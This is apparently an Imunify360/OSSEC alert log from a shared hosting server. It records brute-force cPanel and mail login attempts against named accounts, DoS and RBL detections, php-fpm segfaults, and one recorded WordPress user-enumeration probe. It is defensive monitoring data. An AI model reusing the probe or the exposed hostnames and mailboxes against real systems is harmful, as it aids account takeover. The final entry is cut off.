[2026-06-30 22:54:27 +0000] info [cpaneld] 168.144.35.224 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:56:41 ns5 kernel: php-fpm[2067343]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-06-30 22:56:56 +0000] info [cpaneld] 52.200.114.158 - ingertgsarl "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jun 30 22:56:24 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:57:58 ns5 kernel: php-fpm[2067903]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.181.43
country_id: 1880251
description:
43.173.181.43 - - [30/Jun/2026:22:57:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6593386&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D1993&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782860224 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=1993" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.181.43


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.144.35.224
country_id: 1880251
description:
[2026-06-30 22:57:47 +0000] info [cpaneld] 168.144.35.224 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 138.219.123.201
country_id: 3608932
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:138.219.123.201||TA:138.219.123.201||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 22:59:14 ns5 kernel: php-fpm[2068152]: segfault at 7ffc38f24f48 ip 000000000072ad55 sp 00007ffc38f24f48 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:00:09 ns5 kernel: php-fpm[2068451]: segfault at 7ffc38f24f48 ip 000000000072ad55 sp 00007ffc38f24f48 error 6 in php-fpm[400000+4ad000]


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 185.217.0.59
country_id: 2661886
description:
Denial of Service (DoS) attack was discovered from 185.217.0.59: 80 connections per 30 seconds to 80 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-06-30 23:00:09 +0000] info [cpaneld] 52.200.114.158 - AWADI "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AWADI (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:02:34 ns5 kernel: php-fpm[2069062]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.50
country_id: 1814991
description:
123.6.49.50 - - [30/Jun/2026:23:02:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986602&pdata=https%253A%252F%252Fekeasarl.com%252Fa-propos%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782860557 HTTP/2.0" 302 0 ekeasarl.com "https://ekeasarl.com/a-propos/" "Mozilla/5.0 (Linux; Android 10; HUAWEI P30 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.50


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.44
country_id: 1814991
description:
123.6.49.44 - - [30/Jun/2026:23:02:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6736495&pdata=https%253A%252F%252Fekeasarl.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782860558 HTTP/2.0" 302 0 ekeasarl.com "https://ekeasarl.com/" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.44


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:03:48 ns5 kernel: php-fpm[2069530]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.70
country_id: 1814991
description:
27.115.124.70 - - [30/Jun/2026:23:03:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6972015&pdata=https%253A%252F%252Fhaplucia-togo.tg%252Fhalplucia%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782860585 HTTP/2.0" 302 0 haplucia-togo.tg "https://haplucia-togo.tg/halplucia/" "Mozilla/5.0 (Linux; Android 11; V2055A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.70


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 123.6.49.18
country_id: 1814991
description:
123.6.49.18 - - [30/Jun/2026:23:03:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119270&pdata=https%253A%252F%252Fhaplucia-togo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782860586 HTTP/2.0" 302 0 haplucia-togo.tg "https://haplucia-togo.tg/" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.18


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.38
country_id: 1814991
description:
27.115.124.38 - - [30/Jun/2026:23:03:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038110&pdata=https%253A%252F%252Fhaplucia-togo.tg%252Fstatistiques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782860588 HTTP/2.0" 302 0 haplucia-togo.tg "https://haplucia-togo.tg/statistiques/" "Mozilla/5.0 (Linux; Android 10; HUAWEI P30 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.38


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.166.123
country_id: 953987
description:
104.28.166.123 - - [30/Jun/2026:23:04:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724453&pdata=https%253A%252F%252Fucao-uut.tg%252Fformation-recherche%252Fdiplomes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782860689 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/formation-recherche/diplomes/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.166.123


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 30 23:04:31 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:05:24 ns5 kernel: php-fpm[2069954]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.179.194
country_id: 1880251
description:
43.173.179.194 - - [30/Jun/2026:23:05:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13290646&pdata=https%253A%252F%252Fmacite.tg%252F%253Fp%253D27564&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782860711 HTTP/1.1" 404 561 macite.tg "https://macite.tg/?p=27564" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.179.194


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:06:03 ns5 kernel: php-fpm[2070359]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 23:06:07 +0000] info [cpaneld] 64.111.92.123 - AMEDEKA "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AMEDEKA (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-06-30 23:06:42 +0000] info [cpaneld] 52.200.114.158 - kavznjyb "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kavznjyb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.83.255.44
country_id: 6252001
description:
[2026-06-30 23:07:55 +0000] info [cpaneld] 172.83.255.44 - AMEDEKA "POST /login/?login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AMEDEKA (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 44.192.176.252
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 44.192.176.252: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:08:33 ns5 kernel: php-fpm[2071093]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:09:54 ns5 kernel: php-fpm[2071594]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:10:57 ns5 kernel: php-fpm[2072159]: segfault at 7ffc38f24f48 ip 000000000072ad55 sp 00007ffc38f24f48 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:11:58 ns5 kernel: php-fpm[2072244]: segfault at 7ffc38f24f48 ip 000000000072ad55 sp 00007ffc38f24f48 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 23:10:59 +0000] info [cpaneld] 64.111.92.123 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.255.53.211
country_id: 3469034
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/product/show/bitter-lemon-canette HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.160.208.171
country_id: 2017370
description:
2026-06-30 23:13:49 dovecot_plain authenticator failed for H=(yw6vx0x513jval60w) [158.160.208.171]:49800: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:14:45 ns5 kernel: php-fpm[2073237]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 145.249.187.244
country_id: 1522867
description:
2026-06-30 23:14:49 dovecot_login authenticator failed for H=([5.140.212.184]) [145.249.187.244]:57295: 535 Incorrect authentication data (set_id=office@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.105.213.23
country_id: 3865483
description:
Jun 30 23:14:55 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.105.213.23 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:15:32 ns5 kernel: php-fpm[2072347]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-06-30 23:15:16 +0000] info [cpaneld] 167.99.236.81 - iyfttuec "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user iyfttuec (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.105.213.23
country_id: 3865483
description:
Jun 30 23:15:03 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.105.213.23 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 23:15:16 +0000] info [cpaneld] 64.111.92.123 - solarplusafrique.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user solarplusafrique.com (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.69
country_id: 3469034
description:
Jun 30 23:15:22 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.69 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:16:30 ns5 kernel: php-fpm[2074034]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:18:06 ns5 kernel: php-fpm[2074350]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:20:15 ns5 kernel: php-fpm[2075340]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 23:20:01 +0000] info [cpaneld] 64.111.92.123 - netflix "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netflix (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.174
country_id: 1880251
description:
47.128.121.174 - - [30/Jun/2026:23:22:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379397&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fcan-2021-togo-liste-eperviers%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782861764 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/can-2021-togo-liste-eperviers/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.174


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:23:12 ns5 kernel: php-fpm[2075736]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.140.35.234
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/budget-national-le-choix-assume-du-togo/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.140.35.234
country_id: 3996063
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/budget-national-le-choix-assume-du-togo/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.198.202
country_id: 1880251
description:
43.172.198.202 - - [30/Jun/2026:23:23:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6644889&pdata=https%253A%252F%252Fmacite.tg%252F%253Fp%253D29999&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782861806 HTTP/1.1" 404 561 macite.tg "https://macite.tg/?p=29999" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.198.202


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:24:05 ns5 kernel: php-fpm[2075667]: segfault at 7ffc38f24f48 ip 000000000072ad55 sp 00007ffc38f24f48 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-06-30 23:26:14 +0000] info [cpaneld] 167.99.236.81 - waywcbyw "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:26:05 ns5 kernel: php-fpm[2077406]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.140.123.145
country_id: 3469034
description:
Jun 30 23:27:15 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.140.123.145 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:29:05 ns5 kernel: php-fpm[2078466]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 200.145.216.215
country_id: 3469034
description:
Denial of Service (DoS) attack was discovered from 200.145.216.215: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:32:02 ns5 kernel: php-fpm[2079393]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 157.173.121.149
country_id: 3017382
domain: lcr-adem.org
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100&_fields=id,slug||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.226
country_id: 3469034
description:
Jun 30 23:35:41 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.226 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-06-30 23:35:51 +0000] info [cpaneld] 167.99.236.81 - camaegdtomgo "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:36:20 ns5 kernel: php-fpm[2080573]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 23:37:14 +0000] info [cpaneld] 64.111.92.123 - 2083crepsad "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:38:14 ns5 kernel: php-fpm[2080578]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 140.235.169.183
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:140.235.169.183||TA:140.235.169.183||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.198.94
country_id: 1880251
description:
43.172.198.94 - - [30/Jun/2026:23:38:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7430807&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D14816&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782862730 HTTP/1.1" 404 561 mediatopnews.tg "https://mediatopnews.tg/?p=14816" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.198.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.94.74.146
country_id: 1149361
description:
Jun 30 23:39:36 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.94.74.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.226.115.168
country_id: 3057568
description:
Jun 30 23:39:53 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.226.115.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.226.115.168
country_id: 3057568
description:
Jun 30 23:39:59 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.226.115.168 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:41:43 ns5 kernel: php-fpm[2082983]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 30 23:41:07 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:42:15 ns5 kernel: php-fpm[2083857]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.237.119
country_id: 99237
description:
Jun 30 23:42:41 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.237.119 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 23:44:48 +0000] info [cpaneld] 64.111.92.123 - enadamso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.46.182.10
country_id: 1814991
description:
Jun 30 23:44:50 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.46.182.10 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:45:35 ns5 kernel: php-fpm[2084543]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.46.182.10
country_id: 1814991
description:
Jun 30 23:45:00 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.46.182.10 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 175.100.10.151
country_id: 1831722
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/fin-de-la-visite-du-president-ali-bongo-ondimba-a-lome/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:46:22 ns5 kernel: php-fpm[2084482]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.111.92.123
country_id: 6252001
description:
[2026-06-30 23:46:13 +0000] info [cpaneld] 64.111.92.123 - benoit2018 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user benoit2018 (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 175.100.10.151
country_id: 1831722
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/fin-de-la-visite-du-president-ali-bongo-ondimba-a-lome/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:47:29 ns5 kernel: php-fpm[2085715]: segfault at 7ffc38f24f30 ip 0000000000729c3b sp 00007ffc38f24f20 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:49:59 ns5 kernel: php-fpm[2085945]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 154.29.232.159
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:154.29.232.159||TA:154.29.232.159||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-06-30 23:49:41 dovecot_login authenticator failed for H=(aes-static-057.154.22.125.airtel.in) [207.188.158.216]:45436: 535 Incorrect authentication data (set_id=test@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.92.76.210
country_id: 1694008
description:
Jun 30 23:50:47 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.92.76.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-06-30 23:50:49 dovecot_login authenticator failed for H=([114.30.223.119]) [119.92.76.210]:40156: 535 Incorrect authentication data (set_id=sales@sigm.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jun 30 23:51:36 ns5 kernel: php-fpm[2087121]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.42.245.112
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:193.42.245.112||TA:193.42.245.112||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jun 30 23:51:21 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
